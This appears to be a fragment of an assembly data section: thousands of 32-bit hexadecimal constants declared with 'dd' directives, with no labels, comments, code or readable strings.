dd 0F22B5073h, 0B1ED5990h, 4388824h, 8004E3Ah, 0CC791981h
dd 0F1456056h, 531BF5FDh, 52788700h, 9E622E94h, 3BD8C0D2h
dd 83E2044Dh, 5DF17B03h, 0C8B68F4Ah, 0AF1355h, 0BD7411B0h
dd 0D3DC8D6h, 6400DF75h, 0C28C1B4Ch, 1C61EDh, 0E9EE7D52h
dd 43EB16Ah, 360AFA1Dh, 0A6D198C0h, 1C6CD096h, 80E09917h
dd 0D285E3E5h, 65189459h, 0EC114D11h, 97D8000Dh, 0F33038DBh
dd 84F572D3h, 0A8707EE2h, 0B0490490h, 0CAA30020h, 850534CFh
dd 950F4FD5h, 0F32C2Bh, 8019A0C2h, 0D3E3A9Bh, 25487000h
dd 0C5D88B54h, 0FC4F9000h, 0D512A96Dh, 0A1400A3h, 0D7D2695Fh
dd 614CCBF3h, 0EDE00A8h, 1452DCE4h, 0D8A750B2h, 4868986Fh
dd 331C103Ch, 527B8029h, 93D14591h, 0CDDB9A00h, 77E44A08h
dd 0FA8E00A9h, 5405BF50h, 0E9009873h, 12186EF9h, 90FCCF0Eh
dd 7BC60F0Dh, 3F200357h, 4D58FB37h, 0A7CDAD00h, 9F30F2AFh
dd 2BA17EDh, 80F41E2Fh, 2EF9C049h, 5C0060B7h, 0A44A480Ch
dd 10E411h, 3C79D916h, 431E186Ch, 320EE801h, 35297DC0h
dd 25B72980h, 8BFCF437h, 20128701h, 71864108h, 4605D340h
dd 5BB300FDh, 0BC4B10C3h, 644974FEh, 3F315860h, 7003DB4Fh
dd 93BB885Ah, 0C5FB0FBh, 5C6009Fh, 0AA734559h, 1C50EABDh
dd 0C40190B4h, 622F5CEFh, 9064B291h, 0CE770112h, 3E727548h
dd 405024C3h, 0C4406D4Ah, 1AE38978h, 7461747Ah, 4047142Ch
dd 7214109Ch, 46011C4Fh, 48B91562h, 0D0B3D15Ah, 23547270h
dd 4486682Ch, 20E89991h, 1F055900h, 40BB5A58h, 6DB40C88h
dd 0AA405FFEh, 0FFA16800h, 8125D016h, 0A0610F39h, 0E4001A69h
dd 0FDABCFDFh, 8F42BB25h, 74324668h, 505200B0h, 5ABA16B4h
dd 2C1831C2h, 0E819D922h, 72490007h, 53E9C7D0h, 2DE4ECD7h
dd 0C8128109h, 44C209D4h, 5AB44088h, 8BC4A81h, 727F4885h
dd 42700024h, 0DCE0F59Fh, 4A4D3209h, 586D8045h, 0E22788Ah
dd 0E11A7E1Dh, 0F095C263h, 72336EF8h, 0A7FBCB17h, 9D6FC700h
dd 81DC74h, 26709BD7h, 8BD08619h, 0A34B9C00h, 0B72CAD6Fh
dd 10870F71h, 0AB808C67h, 12863ACBh, 74DFD200h, 4A2B3D6h
dd 0A1B900F0h, 5BD9C07Eh, 0CC1FA65Fh, 91C55D4Fh, 0C0FEF856h
dd 0CDF73065h, 6E381709h, 0E7DC00A1h, 0A914CEh, 2AF6A683h
dd 4509EEB0h, 0E2A1CD00h, 40D14382h, 0DD7A001Fh, 0C35DD944h
dd 950F627Bh, 0B7FA5091h, 0A2D4C700h, 0CD4C74h, 55AFBB72h
dd 6910655Bh, 100F449h, 1982BA11h, 0C841A97Ah, 898A172h
dd 0B2322105h, 0B0448200h, 6B49EDD7h, 0E954006Ah, 0C9C44A04h
dd 0E502CE7Eh, 3F68F669h, 83D4AF50h, 6D6BE8Eh, 55442018h
dd 163130F9h, 7B4B204Eh, 0C32EA422h, 0FEB80036h, 7EDA63FDh
dd 0F26519C0h, 3682AE4h, 2EF055A8h, 20003E14h, 0C6D8D025h
dd 0F4867B62h, 4D68C6CAh, 2B0039CEh, 9783CD7Ah, 1430A8Dh
dd 7276E507h, 0C492E0E2h, 1B65C574h, 88011890h, 7B86E5BEh
dd 257C6881h, 0CCAD82AAh, 1800D03Eh, 2A354C87h, 14C17BF1h
dd 0AD6C43FBh, 497F4B03h, 97D04412h, 8DFE613Ch, 0CE179600h
dd 4AEB231Eh, 1030FE0h, 6AA03AACh, 75D20EC5h, 141DAF00h
dd 3E1915ECh, 442A17DCh, 51620073h, 718EC627h, 7FA2AD00h
dd 3BC82916h, 0D99D0014h, 0D7FF8702h, 4C790A6Ah, 788CE200h
dd 0ADEFE4F4h, 0B4A60020h
dd 0BC089F18h, 0C000CEC5h, 53EBDCA8h, 912F98h, 3C1AAECh
dd 2A523D7Dh, 0E1CD1000h, 75669CA3h, 96083F29h, 239A1E80h
dd 312F2D94h, 4F2B5Ch, 5246C3CBh, 0C7C6F2h, 0AF157736h
dd 8F29D23Eh, 0D6F45Ch, 249D6DB0h, 5C0BA4h, 8744FC61h
dd 22E09F03h, 7800B97Bh, 0D4F8C332h, 0F5F686h, 79BE80D2h
dd 7E6CF348h, 0A92E900h, 85ED8C03h, 9168303Bh, 0A5C50DD6h
dd 917A80Fh, 6C1C0025h, 7EFE8E5h, 811E53B4h, 0D84D3080h
dd 6A188803h, 59587731h, 66550B60h, 0C90009D5h, 8D7CF2C3h
dd 3FB26200h, 0C1BCF981h, 639B00DDh, 77EB5B67h, 4190BF4h
dd 33A0B4B6h, 9C80E7CDh, 8B48F78Dh, 0DF036020h, 3AD12A1Bh
dd 612917E0h, 8CFD0025h, 0C685E243h, 804AAB0Eh, 8AA92016h
dd 50631268h, 31EC8BBh, 4C31307Dh, 7C983993h, 0FF0C0433h
dd 0E8C28437h, 6F0A01BCh, 0ACF803A2h, 0DCBD307Ah, 0DEBBBA04h
dd 32C0389Eh, 366D541h, 5F3472E5h, 5098303Ah, 143C04A3h
dd 310C05C6h, 0B900F119h, 80F8F6BCh, 0BD651F81h, 0CF024059h
dd 25794042h, 860AD800h, 98814F5h, 13D70089h, 8DB91C58h
dd 0D500B654h, 33CD3BBEh, 9E772Dh, 903EC536h, 0E76A13E3h
dd 0E559EA00h, 55A257B5h, 19700058h, 0ABD05220h, 49185F7h
dd 982FE180h, 1D4E2229h, 7F9B117h, 0E06639B4h, 0B281591Eh
dd 0FCF3DE0Eh, 0A8F0F9C9h, 68FAFD4h, 0CF4D5753h, 14008016h
dd 0C378FCD4h, 4198B0Fh, 371BE2EFh, 0CE1EC7ECh, 5ED6CCC0h
dd 0DD60D14Ch, 0E0945724h, 1F9B0760h, 89269785h, 0FE6C6E00h
dd 1A50ED86h, 767F77BCh, 8241FF01h, 22E89208h, 1701ECh
dd 0F9E06EC2h, 3C0C1DF0h, 73C8AB50h, 6561EA0Fh, 2C005271h
dd 0C88C397Bh, 1A5F0019h, 990EA45Dh, 9C6E0AB3h, 18028060h
dd 0F1CD268h, 0AEB2789Ah, 0C0371224h, 0C6848F5Bh, 0F95AF217h
dd 1587E503h, 0A4CB5Fh, 9C80D018h, 0A82A9B25h, 62FBFC07h
dd 9810F3D5h, 24777DABh, 8094F9BFh, 51B7A9FFh, 4300EE4Fh
dd 3BD87833h, 1F457DBFh, 275549h, 7A8479EBh, 0E0087FFh
dd 0B6BE1DE7h, 0C088E57Fh, 0A1D97170h, 0FF7E6965h, 0C7C2F707h
dd 0C962F176h, 0BA6440BCh, 62EA03B6h, 4F346E68h, 0C8877D99h
dd 417E110Fh, 0E0285A00h, 14CDC157h, 6E1800FCh, 7240E937h
dd 6004709h, 4BC2CC3Ch, 3E58B55h, 0B770B125h, 0C0E5EC2Ch
dd 0DAE0CD0Ah, 9750ED00h, 9EC69113h, 730C0092h, 33C4437h
dd 0EE004CE9h, 26CB3479h, 2D5B4EDh, 5D659BA3h, 0DBC0DB70h
dd 50E586Bh, 8FCEDA0Fh, 0B4F1407Dh, 728785h, 14A127A2h
dd 0AF40C8C0h, 74077E04h, 0EF80770Fh, 489312DFh, 2307C624h
dd 10C410A5h, 6859B144h, 8E002E98h, 4F2BD0Bh, 0FE8D78h
dd 0CC31C480h, 1EAD0E33h, 557987EBh, 0BD802211h, 0E0626Eh
dd 0B99B05B0h, 0F99121D6h, 76BB3806h, 0F2F851h, 4B440ECEh
dd 0E6EDE4BCh, 826D6105h, 0BC40B639h, 5BF39006h, 0D98600BFh
dd 5CCEDB5h, 0EB00404Fh, 7AF26664h, 17116F3h, 1239941Ah
dd 0F091E488h, 511DA62Eh, 23807A3Bh, 0A7A820F5h, 954901D6h
dd 0A23CF8BEh, 3F3EC0D8h, 2F00C092h, 0DF56D393h, 90C37C69h
dd 0D6BD5C30h, 7942FC00h, 0F1B86305h, 4192E200h, 0B17504EBh
dd 4749240Fh, 0EF6F04D4h, 0E054876Dh, 841A9C57h, 0BBBEFB00h
dd 1D8FD39Bh, 92FF00E2h, 54141E0Bh, 40904DC7h, 9B81CF00h
dd 0EB3BA655h, 39A0091h, 97BAFF48h, 940096C4h, 0F3F209D8h
dd 26476DD2h, 8EB0AE93h, 51408402h, 0D960DAD5h, 91ED9A14h
dd 0A0318498h, 0F897BD00h, 0A6F034DDh, 0D0447E00h, 40D40EB6h
dd 0A18F0346h, 0EFC8D1C0h, 412338D0h, 0CC053700h, 17215A62h
dd 106D009Ch, 0C39452DFh, 64008E15h, 8B7569A5h, 70F6F898h
dd 0E8B81D47h, 0D1A2C017h, 0EB37D2EAh, 7A038C7Dh, 46C80DFBh
dd 52D5C0BBh, 0C7180FE3h, 63007DF1h, 3E532DB5h, 0FF8C800h
dd 870E8B38h, 1297005Ch, 74B31B25h, 56000209h, 1FD7C548h
dd 0F97553h, 0F606ACB0h, 0AB312130h, 0B5EAB278h, 42BBC800h
dd 666AA4D6h, 991000E2h, 0DD47E867h, 0B307312Dh, 34943E9Bh
dd 51A75467h, 377241C7h, 0C29940E1h, 0B03B24FDh, 0DA4F807Ch
dd 6D305371h, 0C0C30103h, 0E81A81FAh, 0FF5FDBh, 0F7E13456h
dd 1DA11C11h, 2EB42500h, 7EB5CEDFh, 211700A0h, 0B1FC873Dh
dd 8C07B7CDh, 0D0725F8Fh, 3F4E7DD1h, 384B09E8h, 12F8CA16h
dd 40DF4D19h, 0EE5DBE48h, 0C0C95FEAh, 891C0093h, 5AA7B2h
dd 7849512Dh, 17F284D3h, 970023EAh, 3F411D2Ah, 0EEBDCAh
dd 860ECDDh, 29028980h, 0D4C447Bh, 0BF350FE8h, 0F56206D4h
dd 89CF4011h, 10A8CC28h, 0AE40320Fh, 0B27AE08Ah, 2610AD06h
dd 7D8E93Ch, 809D8898h, 3DBA19C1h, 0FEC48100h, 0CE33C30Fh
dd 0D4EF0B37h, 0CCA7F65Dh, 0E034D0BAh, 0F4003ED6h, 61116CE1h
dd 0C89706h, 0DF860D8Fh, 0FB333AB4h, 8A5DB300h, 0B147D2C3h
dd 10200018h, 0A02C13D6h, 0E470BAB6h, 0F73C640Ah, 0C58094E1h
dd 0DB23D7B7h, 49E67Eh, 968D031Eh, 0D9924829h, 3542B800h
dd 0BEB9CC8Ch, 1ADC1DF7h, 8B910350h, 0C0F72EE1h, 0C67DBCA2h
dd 0B1EA31E6h, 0CF41200h, 968445D9h, 1E350071h, 0DD107D68h
dd 50248A13h, 4900483Fh, 89A03886h, 63C4391Fh, 74B81200h
dd 0B08F9196h, 0B7D57C07h, 38C0F085h, 1F36F8C3h, 4057DFD6h
dd 80907284h, 0A301C1F1h, 3394EC98h, 3F80E32h, 74190112h
dd 72917801h, 0D6B8D8CAh, 61C4CD00h, 5C90FB6Ah, 6607007Bh
dd 3F48A6ECh, 0AB0F99E1h, 35D1B7h, 0C0150287h, 41E5007Ah
dd 0B9C5C6DCh, 6274E813h, 0E112C375h, 1198Eh, 99778CDh
dd 62E93081h, 4813D1C1h, 9474DCB0h, 0BFC47A18h, 15DA11h
dd 0F3537ECh, 0FF3DE0D7h, 21B008DFh, 0FEC0D7Ch, 7D2CA4F8h
dd 0BF4C39CFh, 34081680h, 3C00171h, 0E06F7003h, 0DC927803h
dd 0A4ADA369h, 0FF39C800h, 48063219h, 202BBFD6h, 21C36008h
dd 2CFF3177h, 0FB099F07h, 29C1F596h, 6880B580h, 68D16121h
dd 31C0B7A4h, 0CE986CD7h, 0F2467865h, 0A0713047h, 0A7FA6720h
dd 0A637242Ch, 0BE32B200h, 0CE4D27h, 5C2A993Ah, 81FCC476h
dd 482FF200h, 0B3225A1Dh, 67C71F88h, 81EC0A0h, 53DF91E5h
dd 0D504F000h, 0B8B0AF5Bh, 0B620489h, 80425ADEh, 0F917D292h
dd 8F2C4E00h, 6E1EBE4Bh, 0B8A21C93h, 9C4180A7h, 3C54A388h
dd 1A69F39h, 0C4A08A63h, 9560F577h, 0AB0005Ch, 42029671h
dd 697DF8B4h, 91938D00h, 1844E195h, 2F08000Ch, 0A920D64Ch
dd 0A8000B21h, 8A7CA7F5h, 1664FA5h, 0FC8F828Dh, 0D6F01417h
dd 1FAEE860h, 10344B1Dh, 45C8C740h, 247F2924h, 7A93ABh
dd 0A83E285Bh, 0B505BB83h, 854CEA3Bh, 27D3DB80h, 35570724h
dd 0A1D73C39h, 0FC65FA01h, 68009F6Ah, 0EA30F219h, 277974h
dd 0BB5E3C4Ah, 6FE46E81h, 677EBA00h, 0D5215C0Fh, 0A8C500D2h
dd 72C74F6Ah, 8C90A1F8h, 0CA9FE000h, 7CB43EAEh, 79E00C8h
dd 9A9B5F0Ah, 0EA07F23Ah, 490967A8h, 0D41E6120h, 0E4AB004Ch
dd 0F6C8FC0Fh, 7CF21118h, 30372807h, 66F7E1F5h, 78394BF0h
dd 0AECE003Bh, 36E80E87h, 0AF1F6E91h, 0B54094D1h, 930631E2h
dd 0A7871F1Ch, 2B3580B4h, 0C84D9B18h, 24123Eh, 169FAE38h
dd 0E8F804h, 430E1348h, 5AD05C72h, 0C9F2FD00h, 89221B50h
dd 901C52A5h, 0BF42B100h, 3B563884h, 0B6572100h, 3FFC47D8h
dd 0D0940024h, 6E35E9A4h
dd 0E6026723h, 518F9ACh, 0EACEE03Bh, 0A0A4A33Dh, 0BCC50Ch
dd 7C0870EDh, 0B312627Ah, 9704F60h, 0F56B701h, 520B5593h
dd 178B51AFh, 8E900488h, 9FC08767h, 3F422A7Bh, 61F89203h
dd 0D8EB280Bh, 77900Dh, 2B1A3412h, 355E0410h, 85986200h
dd 23D3D5A9h, 929024h, 0D0EEA681h, 0B3F04D22h, 0D8F40455h
dd 0F400B202h, 0D4BA23EDh, 0FD5CA79Ch, 0ECBC6180h, 41E16B61h
dd 0E6F13Eh, 6ABEFF25h, 4627DC5h, 648D008h, 2AE5C24Ah
dd 4659C080h, 0FE1C8004h, 0A0031514h, 0D9A7BB72h, 95D45F2Ah
dd 0A9E3F45h, 404E421Ch, 0E1AE1A02h, 0DC01BD23h, 0E544E014h
dd 0C84093B2h, 1EB07F4Fh, 35E2046h, 0BCFBEE76h, 0D8F7D7h
dd 627EB702h, 0F89CA407h, 0D99DADFAh, 38BAF3F4h, 9D1C3BDCh
dd 0E055151Ch, 6C8A0D00h, 0C8C4E7F8h, 0E300877Ah, 907829EEh
dd 0DC98Dh, 0E2CFD0C3h, 20F745Ch, 2288D961h, 7BF868EFh
dd 660C0B60h, 2100441Fh, 1851B9C0h, 2F643Ah, 138F0159h
dd 0D8C763h, 0BDF58E96h, 0CFAFA8A6h, 205F111Dh, 7D04D1C0h
dd 709792h, 0F52B4BC9h, 2955164Ch, 9AABBCA0h, 6E373Ch
dd 0F29C6713h, 1D9B199h, 6B75C7CAh, 41F9852Eh, 10237494h
dd 3AF1B0C1h, 7F80D4A3h, 7356A4CEh, 0C6EE5F8Eh, 0A60069F8h
dd 0B17490C9h, 3C9238E1h, 68869AF1h, 78177B11h, 22217D00h
dd 0C70A935Bh, 41E400A1h, 1481EAF5h, 7400ECFEh, 0D7B9BB75h
dd 0E8F038h, 906BD91Bh, 2EF49DF6h, 507CE600h, 53B28809h
dd 0DEC80F95h, 0F0FCA9Ah, 8FA36041h, 6CEA20B7h, 91EDF500h
dd 0E96E5CDAh, 7D3C1FD2h, 0D4B4809Fh, 0DD5AFA2h, 3D59DC58h
dd 2E46CC88h, 83009584h, 0B0C89F6Ch, 0E5FA0EA9h, 3E2EC509h
dd 0D8B4B680h, 4A002CA1h, 1A9843FBh, 877164h, 1456DB84h
dd 4B95034Eh, 7BE648h, 0DDF50FEAh, 0F4223F5Dh, 0FC4AE21Ah
dd 0D510057h, 28F97303h, 9A010E09h, 0FD3AAD6h, 0A5F08C39h
dd 0BEB6007Eh, 75E21CE0h, 8407BCA3h, 0C3CDC54Bh, 48D6404Eh
dd 0A80BB7CAh, 9177D0h, 5434C9Ch, 3C7F51FDh, 0FA1C0674h
dd 0A10031D5h, 33309554h, 8E683D09h, 763B3581h, 8046856Eh
dd 6A3A8DE0h, 69E3CCh, 33B938B8h, 89551BF8h, 0F63D7703h
dd 169B57A9h, 9E9121h, 51BF8B3Bh, 0FBFC222Ah, 0DD473C04h
dd 2CC3FE5Eh, 8B581FD2h, 4EE80138h, 0ECB5D832h, 0F330A7BFh
dd 6FBE2135h, 0EAE21E69h, 67648E91h, 60A0E489h, 0EF3A1A83h
dd 0E3A1A900h, 6E09522Ch, 92F77B0Bh, 0BB158C4h, 11FC6A18h
dd 8E3A8968h, 27F4446h, 9BC0CB55h, 0B0FE28BCh, 1554C500h
dd 13B0E241h, 98EDEBh, 6657762Ch, 7892F5AEh, 0BCA44500h
dd 14185925h, 9E681E58h, 1162CCDBh, 51007030h, 8D4711Bh
dd 18EEABDh, 17742ABCh, 0C4A03809h, 0CC00C326h, 51EE4BE9h
dd 83DD3Eh, 0A9C93C56h, 0E626C770h, 22356F03h, 0DE48721Ch
dd 9DA70011h, 4A54C6F6h, 3A00F111h, 167DC45Dh, 78AF899h
dd 0B585A562h, 2F9E0AAh, 27076013h, 253A3C7Bh, 7D79A3h
dd 3DDABF48h, 20809502h, 587B8603h, 0D1F7126Bh, 47DC6C5Ch
dd 0E798Bh, 4178C07Dh, 0ED1C0CCAh, 37893E00h, 74C64D50h
dd 0FD350033h, 10C84F4Bh, 75007622h, 48577034h, 0B1641Fh
dd 68741EBBh, 4C133547h, 3C80DE2Ch, 387E1100h, 780C52h
dd 0ACB9C734h, 2BFD44D5h, 177255FEh, 3E5F2626h, 97622903h
dd 793AF8CAh, 4E03C89h, 0C8695700h, 0AB5E2BC5h, 0E990CD00h
dd 2A0C0532h, 1A620020h, 0F5AAEC39h, 0DE007A44h, 6E3C8F2Bh
dd 311ED40h, 617DB320h, 3BC0219Fh, 231D844Ch, 0F5803C57h
dd 85AB29E9h, 1A320079h, 0D9A231E0h, 35008F68h, 0E1BC5D91h
dd 0C0DD3C87h, 0A6BFDF19h, 603992B5h, 77860037h, 0C72E9F50h
dd 9C7400FEh, 0EC038289h, 0AC26041Ah, 4381EC88h, 0BE45E46h
dd 8B5BC0h, 2C7DA164h, 0D0114540h, 37EBA200h, 0C8909F76h
dd 36F0011Bh, 0D5A8C020h, 0E3698741h, 5E7ED02h, 439108B0h
dd 1B27B0ABh, 689BDD27h, 0F1C065C3h, 26392BACh, 9644980h
dd 20A923A3h, 46322CA8h, 82E67D5h, 12C1DFA1h, 0F05A308Ah
dd 435D6906h, 0ECE0354h, 14622E8Dh, 2863A918h, 9FDA7C1Dh
dd 0DE8D0052h, 0E7045158h, 0F7784700h, 644F54AAh, 2A110CD6h
dd 0D96830D7h, 27AE2E0Ah, 883888Dh, 3CA94365h, 7D3AEBC0h
dd 4DA6E80Fh, 9A46A440h, 79008A9Eh, 5C89AEF2h, 0EA5D47h
dd 4EAA398Dh, 6D8534E7h, 0C5BC8700h, 0BB235B59h, 0B0FE2Fh
dd 4E9C6EBFh, 483772D7h, 4609B800h, 993FB5A8h, 11E00059h
dd 84F1CA3Dh, 0DE00CBABh, 0E46EED4Fh, 398D3C7h, 2A69B5B4h
dd 0B7A8E7D0h, 9C0006EEh, 771DFD29h, 580A9Dh, 82B1F42Eh
dd 4FF89BD2h, 0B8865101h, 0F602CD52h, 0C0B74BF8h, 0B31C1F9Ah
dd 950226A6h, 3E2DE823h, 27B0A728h, 0BD373D00h, 19CF016Bh
dd 6660184Fh, 0F9EFD4E0h, 83BB7000h, 3AE1E5CDh, 0B1540053h
dd 62E9A0CEh, 7C038B63h, 0C13F6C9h, 9315D8F8h, 8EE4E7h
dd 34FF55B8h, 3E77FA20h, 69B5E00h, 43FF4E3h, 63E4CAh, 81A54D14h
dd 578CE178h, 8D00CCB0h, 85875B17h, 0DBD635h, 2B38FADAh
dd 324620E4h, 8A407400h, 60D192F9h, 39736719h, 433CF075h
dd 0E8EFDE0Eh, 26EC2821h, 6E316509h, 744380E5h, 0FC30D055h
dd 3EA00F1h, 0C46BE06Ah, 0C300657Ch, 0AE289C96h, 9D6E7Dh
dd 0FF7F9480h, 26CD74E1h, 47EDE900h, 0EFE27936h, 5F04011Bh
dd 0AD768089h, 6EAFE492h, 0D1A30600h, 0BCD91F1Ah, 4CF005h
dd 0DCA48F3Fh, 0A3B7735Fh, 5917E100h, 1A35CE46h, 41B30013h
dd 1853BBC2h, 0F9009168h, 98F50C33h, 162079B5h, 79F14E2h
dd 7031C020h, 0AD33DC25h, 0F64EE500h, 200982EFh, 125A0004h
dd 0D5F9976Eh, 0F0338A4h, 2250BD07h, 0F828BB87h, 1E00C7Eh
dd 64E5CFD7h, 0E8AD0436h, 0E7165B1h, 0F0913016h, 0DE8A2840h
dd 4F30AD1h, 0F10F74DAh, 1F98901Eh, 833CA91Ah, 28550667h
dd 1F6011C9h, 5B507DC7h, 0F6A0114Ch, 4B00A8D2h, 51D5F32Dh
dd 2B6F3Fh, 9A79293Bh, 0D419ACBEh, 0E0FB9314h, 133100E0h
dd 0BCD3A6BDh, 0E9AE307Eh, 844776CEh, 0EDF2380Eh, 148A40D9h
dd 4D90627Dh, 860024A6h, 0CEDCA881h, 33014B20h, 9D610BFCh
dd 9B70788Bh, 0D084500Ch, 11E200EAh, 0A88E9560h, 64280D9Fh
dd 0E700ACF4h, 77475954h, 29C198h, 0CB233A05h, 5004DFA7h
dd 0D2635300h, 4803B35Ch, 5EF6002Ch, 0EDA7C0DAh, 0C3036712h
dd 80986B81h, 0E746B01Dh, 0BEEF02A2h, 47AFB695h, 0E09EDCC1h
dd 3E00DDC9h, 7F85CF50h, 0F94922BAh, 76D0B847h, 8BB77Ah
dd 10721670h, 0B2F127FDh, 90C8DB01h, 14580248h, 0F31020h
dd 574E9EDFh, 0E544E88Dh, 88953126h, 6334FB80h, 3148BB2h
dd 0DE473A7h, 0B4FF59FEh, 15B380A0h, 0AF1C867Eh, 4440EAABh
dd 0EB436D3Fh, 0E80500CCh, 0E32A6FDEh, 158BDEFh, 0BCCE0377h
dd 0C8F1A9D0h, 711870EDh, 0E262387Ah, 0F2C04E28h, 0EEA60080h
dd 0B6C26B5Bh, 33042B79h, 0C37A9B7Ch, 878CC5BBh, 49FF2000h
dd 0D2180708h, 1EF89314h, 5C8E000Fh, 70A8678Fh, 4C7F5B33h
dd 69FB2306h, 80C2ACh, 8DF2DA42h, 0D8A6A0E4h, 0E57C1609h
dd 99206090h, 3003010Dh, 4384BF64h, 0E219809Eh, 31DD792Dh
dd 0C9F10B75h, 28204C49h, 0FB0AE419h, 63866600h, 0BF07849Ch
dd 5E091EFAh, 40A89796h, 87CD6CD8h, 2A00AB7Eh, 680A4140h
dd 692327h
dd 154629DCh, 268C646Ah, 0C300E9F8h, 0B45E8887h, 7685B1h
dd 0D9A093C1h, 799863EAh, 7414E4Ch, 0E7E6EEF7h, 7749FD01h
dd 4418C42Ch, 3E521D7h, 9F673609h, 619809Dh, 30CDF6h, 0E8AF5A1Eh
dd 35973B9Eh, 4E4B6E1Ch, 0B1652080h, 2960EAh, 0A87686ACh
dd 495B274Ah, 6977D31Fh, 0BD3AF807h, 4BA65030h, 45BDA002h
dd 826425FBh, 0FE907C00h, 0D8009DBDh, 0F3511ADAh, 7ADC327Dh
dd 24CB7004h, 89B89320h, 5800144Dh, 2B8BFB8Dh, 64C17B00h
dd 9CF5B0DBh, 167FCE2h, 0C9CA94BAh, 80605215h, 61408760h
dd 0E250421h, 9CD65827h, 1FE69240h, 8707B777h, 0AFA7EC7Ch
dd 0A0D982C3h, 0ABC88E7h, 4DA3CA48h, 91838EDCh, 8104F838h
dd 8EA97200h, 0FD06ABEBh, 85D6C0AEh, 89626422h, 78013092h
dd 60B0610Eh, 7660CE45h, 9CE90185h, 849B18ABh, 20E930CAh
dd 72A35603h, 2DFA53Eh, 9D9AAD38h, 34E4C129h, 0E2BCA400h
dd 2CFADF26h, 86953B54h, 0E4CE5F81h, 0FC97B0C8h, 7200ACBDh
dd 0B14BEE18h, 5862FBh, 3DF2D65Dh, 11274315h, 0E86E7400h
dd 7C5CD71Eh, 66AD00B9h, 1C9828B1h, 220011DDh, 1E49F336h
dd 50EC5476h, 362EA07Bh, 11200256h, 0A48C20E9h, 5E214700h
dd 564D35C6h, 7FF0098h, 0D0BE158Ch, 2EFC45D9h, 54E69007h
dd 0DF77B869h, 0EC40564Eh, 85D12D1Dh, 3CB1F90h, 6D0DC787h
dd 260BD013h, 0AD0052ACh, 0A3BE59AAh, 0E021C990h, 0A2FA31h
dd 0AFAB11C5h, 4C5F19A9h, 661EB90Fh, 71F7E0DCh, 2CFFD23h
dd 3FBEC169h, 8C517789h, 748A08h, 2DEA0F82h, 2E076F12h
dd 9D8853E5h, 0FFFA0280h, 46110028h, 7397E99Ch, 260099ACh
dd 0F3273C43h, 31AD1502h, 0D86A8235h, 3EB1CC39h, 642D3700h
dd 849D7D1Ah, 0D2430BBDh, 0A7007807h, 0F40BDEA6h, 0D59FDA01h
dd 806D94E5h, 3EBEC4h, 0A41BC218h, 0C4FA970Ch, 50FF5230h
dd 7C1026h, 69ACC649h, 4D2462BFh, 0C10018F2h, 2A2C6BCAh
dd 0BB6FF5h, 88B45DAh, 880930EDh, 0DDA73100h, 6D5FF306h
dd 0EE890196h, 0F92FC79Eh, 25782C43h, 0FBC82294h, 0DBC01747h
dd 4AA4E8F9h, 2EB4544Bh, 0B90C2602h, 80537E63h, 0C8886292h
dd 0D13A8942h, 0A3A5D0DCh, 9D244C54h, 1E03E181h, 0A179501Eh
dd 0B8FCFE40h, 98098F04h, 0DB850F87h, 19A7A9D9h, 609D8754h
dd 0AB7A0899h, 0F23DDE90h, 0CCC90AAEh, 0D80444E6h, 31E4760h
dd 26D6F54Ch, 0B3C89000h, 0A8049561h, 84D50CCh, 7E894D0h
dd 15A32EDAh, 8354484Ah, 341DD110h, 0CC7B12D9h, 5A03A428h
dd 5C8A9E84h, 0E311E80Dh, 1FCD1EF1h, 80A88112h, 0C3612921h
dd 1D27D690h, 39D74101h, 0BC73CF99h, 0E4CCA3FDh, 0DCD80E6Ch
dd 94A34850h, 0DAD0611Eh, 9A018567h, 7264BBCEh, 0AAE021CBh
dd 28D513A7h, 0D15880B7h, 0C61FC7D7h, 0E9817796h, 0C553ACE5h
dd 46FF9E3h, 0B7689Ch, 20F2EEDDh, 4F00C985h, 32CB12D9h
dd 1B606BBh, 898C4095h, 3425A6FAh, 0D20E4254h, 0E1ACE868h
dd 0CDA343C9h, 213E0898h, 6800DA67h, 0E8470AB6h, 1216DFD5h
dd 3AB141Ah, 8A0B64BDh, 51E5D690h, 0AEF6CCECh, 27C06C00h
dd 3E408E81h, 7848D9D5h, 8D418FCh, 0B5ACEA68h, 533BC4h
dd 59AE6899h, 0DE0F7831h, 803A1E12h, 82AA3E2Bh, 0BB720CA7h
dd 223127A4h, 0F524A374h, 6942940Bh, 397603h, 6266219h
dd 91E863E9h, 0FBCF21C0h, 1CF5C281h, 60D2E08h, 603FEC5Ah
dd 0B2D78A08h, 8DDF04CAh, 29049145h, 9F97D4A1h, 0B0212512h
dd 0F6E02040h, 0E0A3BC2Dh, 2B4600FCh, 0FFD15F3Bh, 1A3D22E9h
dd 9D94506Ah, 34141978h, 8DB33Ah, 20E2C6AAh, 0FDF699h
dd 0D82A7572h, 0A25635B5h, 0AE3A6014h, 0B19E0188h, 96DBC213h
dd 903DE920h, 0B2740040h, 17646856h, 0B007F4ACh, 0B1209BA8h
dd 3039303Ch, 9E08ABB5h, 0CB002378h, 8B58850Fh, 0C25A0D6h
dd 0B7D4E0B6h, 9A079120h, 3AA892E2h, 53833D10h, 82E90066h
dd 0BCA16EFCh, 170189E7h, 1136CABBh, 1898F84Dh, 0D3E4D03Eh
dd 0F300C774h, 4BF692BFh, 9899B69Bh, 9D5B0C90h, 0C318B2B5h
dd 9C35D601h, 82ABFD17h, 0A0C89A03h, 0E3B768ECh, 0B1B1031Eh
dd 289F5194h, 2BE1719Bh, 1A198319h, 0CB62E2h, 0A3B81DA8h
dd 20BCAB05h, 0BFF5BA00h, 0FD152430h, 6091603Fh, 31587F77h
dd 1F8A9000h, 9E25D86h, 2981002Ch, 37E77B32h, 5403A5E1h
dd 0C4F74707h, 0D842F397h, 0F0E6E2h, 0A38E2D60h, 2FBE3931h
dd 26039A00h, 0CFAE093Ah, 0C7790316h, 9B99E1CDh, 678D5FC0h
dd 0D88E3200h, 0C3F5568Ch, 95D31296h, 6200EB27h, 1704C09h
dd 21DB0053h, 481849D0h, 0AD01D24Fh, 0F01AEA34h, 0D1C0DF03h
dd 9FFF00A2h, 990B76CFh, 0C10774CDh, 0D3A77EB2h, 666880FEh
dd 8FDA18h, 0B9BB5A06h, 621A1FD5h, 0EA859700h, 0DE0ADD53h
dd 9907001Bh, 4884957h, 37006FA2h, 0D0122073h, 3859ACDh
dd 0AEEFF961h, 50B0B1F7h, 0EC002D34h, 0F5988205h, 0CD0E75h
dd 4A240957h, 41E61D78h, 23FD6500h, 8DDA9C20h, 7DF40010h
dd 3569F32Dh, 8100DF2Ch, 0E2600D71h, 180697E1h, 0C8361D57h
dd 0E6FE921Ch, 1E504703h, 0B8C2BFC3h, 44FAAFBh, 0BE405B0Ch
